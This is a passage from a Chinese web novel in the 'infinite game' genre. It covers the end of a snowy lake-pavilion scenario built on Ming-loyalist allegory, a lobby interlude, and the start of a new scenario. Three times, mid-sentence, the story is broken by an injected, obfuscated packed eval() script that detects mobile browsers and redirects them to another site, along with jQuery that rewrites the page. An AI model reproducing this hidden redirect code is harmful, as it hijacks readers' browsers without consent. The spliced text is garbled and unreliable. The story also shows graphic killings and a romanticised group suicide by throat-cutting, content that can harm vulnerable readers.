为了抵御寒风,何欣愿默默伸手挽住了祝承仪的左臂,梅绛雪则顺势将右臂搭在了她的后腰上。
三人瞬间挤成了一团紧实的人饼,体温通过衣衫紧紧传导在一起,总算勉强压下了几分钻骨的寒意。
“这也太冻了……”何欣愿缩着脖子,声音闷闷的。
就这样维持着,熬到了系统响起的时刻。
【提示副本当前时间:20:00】
这一次面对天色骤暗,大家都没有慌张,反倒是一种“天终于黑了”的心情。
墨黑色的湖面雾气翻卷,湖心深处那叶小舟竟重新浮现。
先是远处一点微弱火光,接着船身破开寒波,慢悠悠朝着亭子靠近,船桨划水的声响在寂静夜里格外清晰。
不过片刻,小舟便稳稳停在石阶旁,三道身影依次登岸,踏入了湖心亭。
正如诗中那般,三人进入湖心亭后,两人铺毡对坐,一童子烧酒炉正沸。
铜炉里的炭火噼啪燃烧,热酒蒸腾起白雾,将亭内的寒气冲散了几分。
这三人动作从容闲适,仿佛本就是这亭中主人,对亭中祝承仪三人没有半分意外,甚至连眼神都没有过多波动。
就像已经在这里等候了很久,很久……
“请。”
对面素色披风的男子抬手,做出一个“共饮”的手势,神态从容。
祝承仪三人交换了一个眼神,谁也没动,直到那名童子端着煮沸的酒壶和酒杯,缓缓走到他们面前。
铜壶热烫,酒气裹着雪夜的冷意扑上来,呛得何欣愿忍不住小声咳嗽。
祝承仪刚准备抬手拿酒杯,梅绛雪却先她一步拿过了酒杯。
祝承仪瞥了他一眼,没有说话。
梅绛雪看着亭中人,刚想开口,亭中人像是预料到他要问什么一样,先一步轻轻抬手,打断了梅绛雪未出口的话。
“先别急着问。”
“诸位先尝尝此酒,如何?”
15. 湖心亭看雪(7)
亭中人神态闲适,率先举杯,动作行云流水,酒液入喉,杯底瞬间见干。
另外一人也随之举杯,一饮而尽。
童子垂首,熟练地为其续上满杯,梅绛雪没再犹豫,也将杯中酒一饮而尽。
亭中人抬手虚引,示意他们在石桌旁的空位入座,酒杯被斟满放置他们面前。
方才还紧绷的气氛,在几杯热酒入喉后,竟奇异地缓和下来。
童子提着酒壶在桌间穿梭,铜壶倾洒,酒香清冽。
亭外大雪纷飞,天地一白,唯有亭内炉火噼啪,暖光融融。
众人不再言语,只是举杯对饮,静静赏着这片复刻自诗文的雪景。
酒液一次次入喉,辛辣呛得人眼眶发酸,可望着湖上孤舟,漫天落雪,心里却又莫名平静。
直到杯盏又空,亭中人这才缓缓放下酒杯,望着湖面轻叹了一声。
祝承仪看着他的东西,心中隐隐觉得有什么事情该被揭开了。
她没有开口追问阵营,也没有提那三条击杀通报,只是端起酒杯,轻轻碰了碰杯沿,发出一声清响。
亭中人闻声侧目,目光落在她脸上,带着几分看透世事的淡然。
终于,还是亭中人先开了口,声音轻得像是在感叹:“今日喝得尽兴,难忘,难了。”
另一人随之接道:“该问的该说的,还需请君自问。”
祝承仪轻轻颔首,坦然问道:“既共赏此雪,共饮此酒,敢问诸位高姓?”
亭中人抬手将杯中残酒尽数倾入湖中,动作酣畅淋漓,望着茫茫雪湖,朗声应道。
“吾乃,金陵人是也。”
【叮咚——】
系统音轻响一声后,没了声音,抬眼看天色未亮,反而又暗了三分。
身后骤然传来尖锐刺耳的嘶吼声,不再是之前模糊的异响,这次众人看得真切。
那扑来的黑影青面獠牙,面目狰狞,周身散发着腐朽阴冷的气息。
祝承仪顺着声音看去,目光直直和那黑影对上,瞬间头皮发麻。
借着烛火,她清晰得看见黑影身后哪里是什么尾巴,分明是一条金钱鼠辫,粗硬地拖在身后,随着动作疯狂甩动,像是用来锁人,缠人的锁链。
亭中人脸色瞬间沉了下来,猛地起身,声音冷厉:“来了。”
那金钱鼠辫的怪物眼睛闪着红色的光,眼神贪婪暴虐,死死盯着他们,它四肢扭曲直立,长长的辫子拖在身后,口鼻间不断滴落下腥臭的涎水。
不远处还有玩家尖叫着在冰面上疯狂奔逃,那些金钱鼠辫的怪物追着他们,嘶吼着甩出身后的辫子。
那辫子如毒蛇出洞,瞬间死死搅住离它最近的玩家。
“咔嚓”一声,玩家惨叫着扑倒在冰面上,左腿被直直绞断,骨头刺破皮肤,鲜血在冰面上迅速凝固成暗红的冰碴。
怪物根本不给对方喘息的机会,第二条辫子如影随形,猛地缠上那玩家的脖颈,粗硬的辫身疯狂收缩。
“嘶——”
颈椎瞬间绞断,血沫子从口鼻疯狂涌出,整个人软倒在冰面,再也不动。
冰面上到处是血,触目惊心。
【叮咚——】
【2号阵营已击杀一人】
!!!
2号阵营居然是它们!
大家皆是瞳孔地震,何欣愿甚至被眼前的一幕吓得San值猛掉。
所以从一开始,系统放出来的阵营本就是烟雾弹。
从系统规则中了解,玩家主观上自然会将对手锁定在彼此之间。
却没人想到,真正的2号阵营,从来不是持剑相向的同类,而是这些拖着金钱鼠辫、青面獠牙的清鬼。
金钱鼠辫扫过雪地,带起一片冰碴子,放在被绞断脖子的玩家连惨叫声都没来得及发出,就沉入雪地,人形一个大洞很快被落雪覆盖。
祝承仪掌心沁出冷汗,冰面上的惨剧还在继续。
更多清鬼从墨色的风雪里钻出来,鼠辫狂舞,所过之处只剩鲜血与冻僵的尸体。
亭中人抬手示意,童子立刻端起铜炉边的火炭盆,狠狠泼向亭口的石阶。
火炭遇雪激腾起滚滚白烟。
“天亮前,它们不敢近亭。”
外面的玩家想靠近亭子,就被辫子猛地拖入漆黑的雪雾之中,凄厉的惨叫声刺破雪夜,最终只留下几道深可见骨的血痕,转瞬又便被新雪覆盖。
后面的玩家吓得魂飞魄散,想要掉头逃跑,却早已被清鬼包围。
不过瞬息之间,冰面上又多了几具冰冷的躯体,鲜血在纯白的雪地里晕开一朵朵刺目的红梅。
【叮咚——】
【2号阵营已击杀三人】
【2号阵营已击杀五人】
祝承仪皱着眉头,低头点击着游戏手表,此刻□□似乎没有到填写时间,根本点不动,又无法阻止清鬼杀人。
她想到之前四名玩家都是1号阵营所杀难道是互相残杀?
祝承仪脱口问出。
副本手表一烫,剩余的躲藏着的玩家都看到了线索提示。
【线索提示:头可断,发不可剃】
所以,从所有玩家进入游戏的那一刻起,副本就在欺骗着他们每一个人。
所有玩家被不同分配到各个位置,每名玩家都置身于大雪之中,所有人都能看到这片湖,相应着以每个人的视角都能在晚上八点天黑之后看见一艘小舟。
有人毫不犹豫踏了上去,任由小舟载着自己驶向湖心,从而见到亭中人。
有人迟疑着后退,站在岸边观望,始终不敢抬脚,就会在之后碰见追杀他们的清鬼。
亭中人听她发问,闻言回道:“上船的,是想寻一条生路。”
“没上船的,是胆怯,是猜忌,是早知道这湖心亭外,根本没有路。”
“看到亭中人的,是心里还揣着一丝痴,没看到的…”
没看到的,早就成了雪地里的一滩黑血,连痕迹都被大雪抹净。
何欣愿脸色发白,忍不住追问:“那第一个死的人,之前一号阵营击杀的那一个……”
亭中人闭目片刻,再睁眼时,眼底只剩一片寂然。
“他没上船。”
第一个被杀死的玩家是已经通关三场游戏的老玩家了,他并不相信眼前的一切,甚至想拉着同伴一起走,想让大家都放下所谓的线索,找个地方躲到72小时结束。
还是这个雪夜,湖畔寒风卷着雪沫子,迷得人眼睛生疼。
老玩家叫老魏,曾经是爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526652|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
登山探险的领队。
他此刻脸色铁青,手里的树棍在雪地里戳出一个个深坑,声音里满是恨铁不成钢的怒吼:“我都说了!那艘船就是诱饵!你们都疯了吗?这湖里什么都没有,贸然行动会害死你们的!”
他的同伴小周,一个年轻小伙,正缩着脖子往后退,脚在雪地里不停打滑,声音发颤:“魏哥,可线索说水代表着生机,而且我看见湖里隐约有火光,说不定这雪底下埋着真相,这水里真的就藏着生路通关呢。”
“生机?”老魏嗤笑一声,树棍狠狠砸在冰面上,崩开一小片碎冰。
“这鬼地方连条鱼都没有,哪来的生机!”
“你就是冻的,产生幻觉了,我闯过三次副本,哪次不是靠藏、靠熬、靠不碰显眼玩意儿活下来的?”
他一把拽住小周的胳膊,把人往岸边芦苇丛里拖:“听哥的,躲一躲,等到系统刷新,等到时间耗尽,咱们就能出去!”
“这些线索全都是系统勾你送死的幌子。”
小周被拽得踉跄,却还是挣开一点。
他指着远处的湖面,声音带着哭腔却异常坚定:“可我看见了!魏哥,我真看见湖里有火光!那不是幻觉,是线索在指方向!”
“看见?”老魏绷着脸,像是听到什么荒谬至极的话,嗤笑一声,“我怎么看不见?就你能看见?那分明是鬼遮眼。”
“那是因为你没上船!”小周终于忍不住吼了回去,“你不敢上船,所以你看不见,你只想躲,只想熬,可这副本根本不是熬就能过的!”
一句话,戳中了老魏最敏感的地方。
他脸色瞬间涨得通,他气得反手从背包里抽出一把锋利的短刀,那是他进入副本前抽到的道具。
短刀寒光在雪夜里一闪,吓得周围躲在不远处几个犹豫的玩家连连后退。
老魏握着刀,转身就往更深的雪地里钻:“好,你要去送死我不拦你,咱们各凭本事,看谁能活到最后!”
小周站在原地,看着老魏决绝的背影,又看了看湖面那叶静静漂泊的小舟,咬了咬牙,转身踏了上去。
小舟缓缓驶离岸边,驶向湖心。
而老魏钻进芦苇丛刚躲好的那一刻,身后便响起了令人毛骨悚然的嘶吼声。
金钱鼠辫从雪地里破土而出,带着腥风缠上直冲他而来。
老魏瞬间面如死灰。
他想跑,想躲,想把自己深深埋进芦苇丛里,假装什么都没发生。
可那些金钱鼠辫已经如毒蛇般窜到脚边,死死缠住了他的脖子。
他拼命挣扎,短刀胡乱挥砍,却连一根辫子都没斩断。
他可能到死都想不明白,为什么自己一路苟,一路藏,通关了三场副本,偏偏栽在了这一场。
他想躲。
躲了,就是怕了。
怕了,就会降了。
降了,就会剃发易服,最后忘了自己到底是谁。
凄厉的惨叫只响了半声便戛然而止。
金钱鼠辫猛地收紧,将他整个人拖进深雪之下,雪面上只留下一滩迅速冻结的黑血,转眼就被新雪盖得干干净净。
一个人就这样无声无息,再无痕迹。
【叮咚——】
【1号阵营已击杀一人】
16. 湖心亭看雪(8)
亭内一片死寂。
火炉炸起火星子,火光猛地窜高,映得亭外的清鬼面目愈发狰狞。
“那紧接着死的三个人呢?他们可是上船了?”
亭中人点了点头,但并不想多说什么,寥寥几语:“他们上了船,但守不住,便殉。”
另外一边是三个女生,和何欣愿一样都是怀揣希望的大学生,她们才刚通过一场游戏,这是她们的第二场。
她们胆子不算小,看见小舟时没有犹豫,互相拉着手一起踏了上去,一路有惊无险地靠近了湖心亭,也看见了亭中隐约的人影与火光。
她们上船时还在互相打气,声音压得很低,却透着年轻人独有的韧劲。
“别怕别怕,新手副本我们都过来了,这个肯定也行。”
“线索说水是生机,我们上了船,肯定没错。”
“等靠岸了我们就一起跑,千万别分开,分开就完了。”
风很大,雪打在脸上生疼,可谁也没说要回头。
小舟驶到湖中的位置,其中一个叫桃子的女生忽然顿了顿,小声说:“你们看,那前面是亭子吗?”
另外两人顺着她指的方向望去,风雪里果然立着一座飞檐小亭,檐下还隐约晃着暖融融的光。
戴眼镜的女生名叫芝芝,她抬手扶了下眼镜,点头道:“真的,看来我们没有选错!”
最瘦的那个女生始终没有说话,目光直直往她们来的方向看了过去。
小桃伸手戳了戳她的胳膊:“喂,阿粥你怎么不说话?”
被叫作阿粥的女生,神情有些莫名紧张:“你们有没有听见……外面好像有叫声?”
“声音?”小桃一愣,然后仔细听了听,“好像没有吧,这里除了水声就是风声,阿粥你是不是太紧张了。”
阿粥眨了眨眼,吞咽了一下口水,犹豫片刻才道:“那可能是我听错了。”
芝芝握了握她的手安慰道:“没事,我们快到亭子了,说不定上去就能找到线索,然后顺利通过了。”
可就在小舟逐渐靠近湖心亭,撞上石阶的前一瞬,冰面远处骤然炸开嘶吼。
青面獠牙的黑影窜出来,金钱鼠辫在雪地上疯狂抽打,离她们不过几十米。
三个女生脸色瞬间惨白。
“我去!那是什么东西?”
桃子失声尖叫,手指死死攥住船沿。
就在几十米外的冰面上,那些青面獠牙的黑影正围着一具倒地的玩家躯体,腥臭的涎水滴落在雪地里,啃咬撕扯的声响清晰地传过来,刺耳又恶心。
尸骨碎裂的声音,怪物低沉的嘶吼,冰面被血浸染的暗红,一瞬间狠狠砸进三个女生的眼底。
小舟上的三个姑娘瞬间僵住,浑身血液像是被冻住。
精神污染如同冰冷的潮水,毫无征兆地涌入脑海。
眼前的画面开始逐渐扭曲。
她们看见冰面上被啃食的尸骨,头皮缓缓剥落,头发被强行剃光,露出青灰色的头皮。
那些本该是玩家的尸体,在幻觉里齐齐抬起头,后脑勺拖着一条粗硬而肮脏的金钱鼠辫,和那些清鬼一模一样。
“啊!!!”
阿粥率先崩溃,抱着头疯狂尖叫:“别过来!”
“别剃我的头发!我不要变成那样!”
“我不要——”
她的精神彻底断裂,San值瞬间清零。
幻觉中,无数只手朝她伸来,要按住她,剃掉她所有的头发。
芝芝也疯了,眼神涣散,指着冰面语无伦次:“它们剃了头发……它们剃了头发就变成怪物了!”
“我们也会被剃掉的!我们会变成怪物的!”
桃子吓得浑身发抖,眼泪混着雪水往下淌,手脚并用地往后缩:“回去……我们回去!”
“我不要!我不要被剃头发!”
恐惧彻底撕碎了她们的理智。
就差一步。
明明已经上船了,也看见了生路,明明只差一步就能进入安全的湖心亭,明明只要再撑一瞬就能活下来。
可命运并没有眷顾她们。
最终,她们躲不过,守不住。
她们三人在这一刻明白了这个副本的含义。
阿粥抖着腿,从口袋里抽出一把随身携带的美工刀,那是她通过第一场副本奖励的道具,此刻成了她们唯一的选择。
芝芝眼神涣散,却死死盯着远处的湖心亭,泪水被冻成了冰,最后化为一声咬牙的颤音:“不降……不辱。”
桃子紧紧咬着唇,血腥味在口腔蔓延。
她看了看同伴惨白的脸,又看了看风雪中那片象征故国的山河轮廓,突然笑了,笑得眼泪直流。
三人互相搀扶着,一步步走上石阶,走向湖心亭。
亭外的清鬼似乎被某种无形的屏障挡在外面,只敢在远处嘶吼,却不敢真正踏近半步。
亭内,炉火融融。
亭外,大雪茫茫。
阿粥率先转身,深深看了一眼她的朋友,然后对着茫茫雪夜,对着这片故国山河,闭上眼,将美工刀狠狠划向自己的脖颈。
芝芝伸出手,接住了飘落下来的雪花,依旧没有说话,紧随其后,自绝于风雪之中。
桃子站在最后,她把两位朋友的尸体收拾好面容,然后拿过那把美工刀,转身面向湖心亭,深深鞠了一躬。
鲜血染红了湖心亭,顺着台阶一滴、一滴落入湖面。
【叮咚——】
【1号阵营已击杀三人】
【线索解锁:不降,不辱,不悔】
炉火映得亭中人眼底微动:“她们虽殉,却未降,以己为灯,照亮前路。”
“这,便是线索。”
【天呐,她们明明只差一步就能活下来了啊!】
【她们用命留了线索啊,呜呜呜我要哭了】
【她们不是被怪物杀的,是自己选了以死明志,不愿剃发易服变成怪物】
【我之前看过小桃的直播间,呜呜呜,我的眼泪不值钱,她们可以参加复活赛吗呜呜呜,怎么一个副本竟把立意拉的那么高,是不是换策划组了】
弹幕一片哭哭表情飘过。
祝承仪深吸一口气,指尖微微发颤,重新点开了腕间的副本手表。
屏幕骤然亮起,之前无法点动的界面,此刻终于完全解锁。
【□者,守;□者,侵】
原本被屏蔽的字,突然可以点动。
手表上出现了键盘,需要玩家手动填上。
这可能就是最终通关的关键之处。
过往的碎片在脑海里飞速闪过,所有线索,在此刻汇成了唯一的答案。
祝承仪指尖落下,轻轻敲击键盘,方框里的字迹被填写上。
明者,守;清者,侵。
玩家其实代表的就是1号阵营的明朝遗民,他们要坚守本心,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527423|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
2号阵营则是会入侵会吃人的清鬼。
答案填写完毕,整座湖心亭猛地一震。
金钱鼠辫的清鬼瞬间发出凄厉至极的尖啸,金钱鼠辫疯狂抽打湖面,青黑的躯体开始冒出黑烟。
天光大亮,腕间手表疯狂震动,系统音穿透风雪,响彻整片冰湖。
【叮咚——】
【阵营真相完全解锁】
【崇祯五年十二月,余往西湖。
大雪三日,湖中人鸟声俱绝。
“湖中焉得更有此人。”
问其姓氏,是金陵人,客此。】
【最终任务:守住这颗痴心,直至雪停】
亭中人缓缓起身,对着三人深深一揖,素衣在风雪中猎猎作响。
风停了。
雪,也停了。
天色豁然开朗。
天与云与山与水,上下一白,干净得像从未被血污浸染。
及下船,舟子喃喃曰:“莫说相公痴,更有痴似相公者。”
【叮咚——恭喜剩余玩家,通关成功!】
眼前的景象统统化作细碎的光粒,瞬间消散。
寒风静止,天地清明,剩余玩家都出现在一大片空地上,中间停着一辆通体漆黑的大巴车。
祝承仪环顾四周,直到此刻,她才真正看见其余的玩家,她注意到老玩家衣服已经变成其他衣服了,只有他们新玩家还是最原始的运动服。
赵一和肖二却不见了身影。
原本三十人的玩家,此刻只剩下寥寥十几人。
老玩家们早已习惯游戏通过后,黑色大巴回接他们回游戏大厅修整,大家保持着沉默依次上了车。
祝承仪他们也跟着融入进去。
随便找了个位置坐下,祝承仪看见有的座位上还放着包,而包主人非常自如的找到那个位置坐下。
她大概猜测,这些应该是他们老玩家获得的道具资源,或者是抽取的福利。
那些没能熬过副本的玩家,遗落的东西也被幸存的老玩家不动声色地收走。
没有人争抢,也没有人说话,一切都在沉默中进行,像是某种心照不宣的规则。
只有活下来的人,才有资格带走一切。
祝承仪将这些看在眼里,她单独坐在前面靠窗的位置,和梅绛雪、何欣愿都分开坐的。
大巴缓缓启动,引擎发出低沉的轰鸣,朝着游戏大厅的方向驶去,透过窗户,外面的景色依旧看不清。
忽然,一道轻微的脚步声由远及近,停在了她的座位旁。
祝承仪抬眼,对上一张带着温和笑意的脸。
男人看起来二十多岁,穿着一身简洁的黑色作战服,袖口磨得有些旧,一看就是经历过不少副本的老玩家。
他语气客气:“介意我坐这里吗?后面没位置了。”
祝承仪面无表情,视线快速扫了一眼他的腰间,那里别了一把黑色手枪。
她没有丝毫犹豫,语气冷硬,直接开口拒绝:“介意。”
简单两个字,打破了车厢里的沉默,也瞬间浇灭了男人脸上温和的笑意。
男人脸上的表情僵了一瞬,似乎没料到她会那么直截了当的拒绝,他眼底闪过一丝讶异,随即又恢复了那副客气的模样:“好的,是我冒昧了。”
他没有再多说一句废话,也没有表现出任何不悦,只是微微颔首,转身朝着车厢后排走去,然后随便找了个位置坐下。
17. 个人信息更新
黑色大巴依旧在混沌中行驶,车厢里偶尔响起几声很小的交谈声。
时间一分一秒过去,大巴缓缓停稳。
【叮咚——抵达游戏大厅,请各位玩家做好下车准备】
机械提示音在车厢内响起,车门向两侧滑开,老玩家们动作熟练地起身,拎好自己的背包与道具,依次下车。
游戏大厅不需要排队进入,只是通过大门,消毒液瞬间喷洒,落在身上,原本身上的不适感瞬间被抚平。
游戏大厅人变得很多,看来这才是真正玩家的空间。
“欢迎来到无限游戏大厅,请及时查看您的游戏手表个人信息更新,二楼开放区将会有大屏公示排名。”
路过的工作人员精准地锁定到新玩家,将这个信息告知。
祝承仪没急着查看游戏手表,而是抬头顺着工作人员示意的方向望去。
二楼开放式回廊的墙体上,嵌着一块巨型电子屏,幽蓝的光芒照亮了大半个大厅。
屏幕上密密麻麻滚动着玩家排名,以积分高低排序,顶端几个名字后面缀着醒目的金色徽章,显然是资深高玩老玩家。
祝承仪的目光还停留在屏幕上方,排行榜并没有显示玩家真名,而是以编号代称,位于第一名的是编号101的玩家。
她正想往下看看,肩膀突然被人不轻不重地撞了一下。
祝承仪下意识看过去,却发现是刚才在车上被她拒绝落座的那个男人。
他正被两个同伴一左一右拥着往前走,脚步匆匆,撞过来的力道不算重,更像是不小心的。
男人也立刻停下脚步,看清是她后,对着祝承仪微微颔首,语气平淡却还算客气:“抱歉。”
他的同伴也跟着回头瞥了一眼,没多停留,笑着拍了拍他的肩膀:“谦哥,走了走了,兑换商店更新了,去晚就没有什么好东西了。”
男人没再多说,冲祝承仪又轻点了下头,转身跟着同伴往线下兑换商店走去。
祝承仪收回视线,没再理会这小插曲,排行榜只显示前五十名玩家,她的编号显然不在其中。
她移动步子,准备前往休息区补觉和查看游戏手表。
刚走到电梯口,刷完感应区,一道轻快的身影就蹦到她身边。
“祝祝。”何欣愿举着自己的手表,眼睛亮晶晶的,“我看手表加好友的功能亮了,我们可以加个好友吧。”
不等祝承仪回应,何欣愿已经主动将自己的手表贴了过来。
“叮——好友申请,请及时处理。”清脆的机械提示音响起,祝承仪的手表屏幕上,立刻跳出何欣愿的编号。
祝承仪刚准备点击同意,手表又被人快速碰了一下,又是一声提示音接踵而至。
“叮——好友申请,请及时处理。”
祝承仪不用看都知道是哪个不要脸的人,她先是同意了何欣愿的好友申请,才侧头看向一旁的梅绛雪。
梅绛雪眼底挂着笑,随口道:“加个好友,同意一下。”
“就不同意。”祝承仪嘴上反驳,手指却还是点了“同意”。
“叮——好友添加成功。”
提示音落下的瞬间,电梯门缓缓滑开,祝承仪看向何欣愿:“你要上去休息吗?”
何欣愿摇了摇头:“我想在这里逛逛。”
“那我先上去了。”祝承仪点头,抬脚走进电梯。
梅绛雪迅速刷了感应区,紧随其后,电梯门在他身后缓缓合上,轿厢内只有他们两人,空气里弥漫着淡淡的消毒水味。
【滴——004N玩家祝承仪,欢迎入眠】
【当前积分排名:1968】
【住宿标准:低标准基础单人间】
【滴——011N玩家梅绛雪,欢迎入眠】
【当前积分排名:1988】
【住宿标准:低标准基础单人间】
两道短信在两人各自的手表上弹出,同时侧壁弹出两个独立的透明通道门。
祝承仪挑眉,明白了游戏大厅的房间分配机制。
无论多少人同乘一部电梯,刷卡后都会触发专属通道,直达各自的分配房间,绝无交叉的可能。
梅绛雪瞥了眼两道互不连通的门,眼底笑意未减:“晚安,做个好梦。”
祝承仪没接话,转身走进属于自己的通道。
门在她身后无声合上,隔绝了电梯内的身影。
眼前依旧是那张目之所及的单人床,一回生二回熟,祝承仪非常熟练的拖鞋上床。
她找到手表上的微型镜头图标,说了句:“我要关直播了,游戏里见吧。”
【直播状态:玩家自主关闭】
直播关闭后,祝承仪半靠在床上,重新点开了游戏手表。
【个人信息已更新】
【玩家:祝承仪】
【女/24岁/169cm/100kg】
【编号:004N】
【身体状态:健康(90San值),身上无伤疤、无纹身、心率正常、无过往病史】
【人气值:1253】
【积分值:117(湖心亭看雪副本通关,评级A,安全上船寻找真相,苟住积分)】
【积分排名:1968(您已超越99%的玩家)】
【当前参与副本:1】
【权限:线上兑换商店、玩家论坛、线上客服、好友位、道具库(已解锁)】
祝承仪退出个人信息,点开手表界面上标注着【已解锁】的功能栏。
几个软件图标依次在幽蓝光幕上亮起,下方还附带着简短的功能说明,她逐一点开查看。
线上兑换商店分为左侧标注着道具、补给、装备、特殊四大类,而右侧是对应商品的积分价格与库存
大多道具价格都很昂贵,祝承仪顺着页面往下滑,最便宜的简易美工刀都要999。
补给区以速食食品和饮用水为主,显示是可以带进副本中使用。
装备区目前仅解锁了基础防护手套这类低阶物品,特殊区则显示未解锁更多商品,标注着需提升评级/完成指定副本解锁。
库存后大多标着充足,少数实用道具旁标着限量,祝承仪扫了眼自己的117积分,默默退出这个界面。
点开玩家论坛,进入后系统默认跳转到新手板块,顶部飘着系统置顶的《无限游戏大厅基础规则答疑》《各副本通用生存技巧》。
下方是玩家的自发发帖,标题五花八门,还有人发帖组队,评论区吵吵嚷嚷,偶尔能看到几个资深玩家的评论被标上精华。
线上客服的界面,相对于其它几个软件,倒显得格外简约,上面只有一个人工咨询的按钮。
下方标注着工作时间:全天24小时。
咨询范围:规则答疑/道具问题/手表故障。
还有一行红色小字提醒;请勿咨询副本剧透/通关答案,客服将不予回应。
祝承仪试了试点击按钮。
【叮—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531122|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—正在排队,当前排队人数:23(如需取消客服呼叫,可退出页面,自动取消;若需要客服呼叫,请在此页面耐心等待)】
祝承仪退出页面,点开了好友位。
好友位点开后是简洁的好友列表,目前只有两个头像,头像是系统默认的数字编号,分别标注着011N(梅绛雪)和027N(何欣愿),头像旁显示着在线状态。
界面下方有发起聊天、组队邀请、删除好友三个功能键。
道具库目前是空的,界面中央显示着暂无持有道具,下方有存入道具、取出道具、道具升级三个灰色按钮,还标注着持有道具后将自动激活功能。
祝承仪想起副本里那些死去玩家掉落的道具,瞬间明白这个功能的用处,想来后续在副本中获得的道具,都能存在这里,避免随身携带的麻烦。
将所有解锁的软件看完,祝承仪轻轻舒了口气,指尖点向界面右上角的关闭键,心里对这个无限游戏的规则又清晰了几分。
她将手表重新关闭,身体向后靠在柔软的枕头上,关上了房间的灯,祝承仪闭上眼睛,很快便陷入了沉睡。
在游戏大厅休息的这几天,祝承仪除了睡觉吃饭,就是去健身房加强自己的体能训练。
期间又碰见过几次那个被称为“谦哥”的男人,看起来很是奇怪,但祝承仪又具体说不出来,到底哪里奇怪。
【叮咚——现提前12小时发布新一轮副本提醒,请各位玩家查看游戏手表】
【副本预告:下一轮副本将在12小时后正式开启】
【A级大逃杀副本:捕鱼达人】
【确认是否收到:确认】
祝承仪在手表界面按下确认键,收回视线准备去健身。
刚进去,就看见梅绛雪一身运动服,袖口随意挽到小臂,露出线条利落的腕骨,额前碎发沾着薄汗,显然是刚结束一轮训练。
他的目光精准落在祝承仪身上,笑着冲她打了个招呼。
“你收到新一轮副本预告了吗?”梅绛雪抬手拿起一旁的运动毛巾,擦了擦汗。
祝承仪淡淡点了下头:“嗯。”
“你被分到了什么副本?”梅绛雪歪了下头,见祝承仪离他两米远,疑惑道,“你站那么远干什么?”
祝承仪撇了下嘴,学着梅绛雪的样子,也歪了下头,故意拉长音:“嗯……怕你一身汗味,再熏到我了。”
梅绛雪闻言一愣,下意识闻了闻自己身上的味道:“哪里臭了!你运动不淌汗吗?”
祝承仪耸了下肩,径直走到一旁,压根没打算接他的话。
梅绛雪也不恼,随手将毛巾搭在肩头上,缓步走了过来,靠在旁边的器械杆上,目光跟着她的动作转,又追问了一遍:“问你呢,被分到哪个副本了?”
祝承仪弯腰握住杠铃杆,腰背绷成一道利落的弧线,起身时气息稳得没半点波动,淡淡吐出四个字:“捕鱼达人。”
“捕鱼达人?”
梅绛雪挑了下眉,直起身凑了两步:“巧了,我也是这个本。”
祝承仪抬眼瞥他,眉眼间满是毫不掩饰的嫌弃,语气凉凉的:“怎么哪都有你。”
梅绛雪脸色一僵,冷哼了一声:“我也不想和你一起!”
留下一句话,转身就走。
祝承仪看了眼他的背影,嘴唇动了动:“记得洗澡。”
梅绛雪脚步又快了几步。
祝承仪见他身影消失,低笑了一声:“……幼稚。”
18. 捕鱼达人(1)
海浪声在耳边翻涌,带着咸涩的湿意扑面而来。
祝承仪猛地睁开眼,身体正浮在一片灰雾弥漫的深海海面上,冰凉的海水漫过胸口,却没有任何不适感,反倒是鱼儿回归大海的怡然自得。
这片海域被浓得化不开的灰雾笼罩,海面仅漂浮着零星碎木与腐烂渔网,能见度不足五米,远处的一切都隐在朦胧的雾气里
她感知到海水拂过身体,细腻的触感裹着微凉的温度,随着海风轻轻晃荡。
而她的身体也跟着这股力道缓缓沉浮,像一片随波逐流的海草,无需刻意用力,便与这片海域融在了一起。
低头时,视线穿过朦胧的灰雾,能看见双腿早已消失,取而代之的是一抹莹白的鱼尾,尾鳍泛着淡淡的珠光,轻摆一下,便带着身体在水中滑出一小段距离。
“捕鱼达人,变成鱼了,有意思。”祝承仪低头看着自己的鱼尾,新奇的感觉令她嘴角默默勾起一抹笑。
【我算是看出来了,祝姐没有对新副本的恐慌,反而是对自己长出尾巴的喜悦】
【终于开播了,又可以看祝祝了!】
四周响起几道惊呼和慌乱的水声。
有人的手臂不慎碰到海面的腐烂渔网,慌忙扯拽间:“哎嘛,我不会游泳!”
下一秒却被海水的浮力托着,能跟着海浪晃来晃去。
“这雾那么大,啥也看不见啊。”
“欸!长尾巴了,甚至还可以在海里呼吸。”
祝承仪一眼便看见不远处的梅绛雪,他正微微蹙眉调整着姿态,尾鳍轻抵水面稳住身形,抬手拨开了一块飘到身前的朽木。
似乎察觉到她的目光,抬眼看来,尾尖轻轻一挑,溅起的水珠朝她的方向飘来。
祝承仪侧身躲了过去,快速将附近的玩家看了一遍。
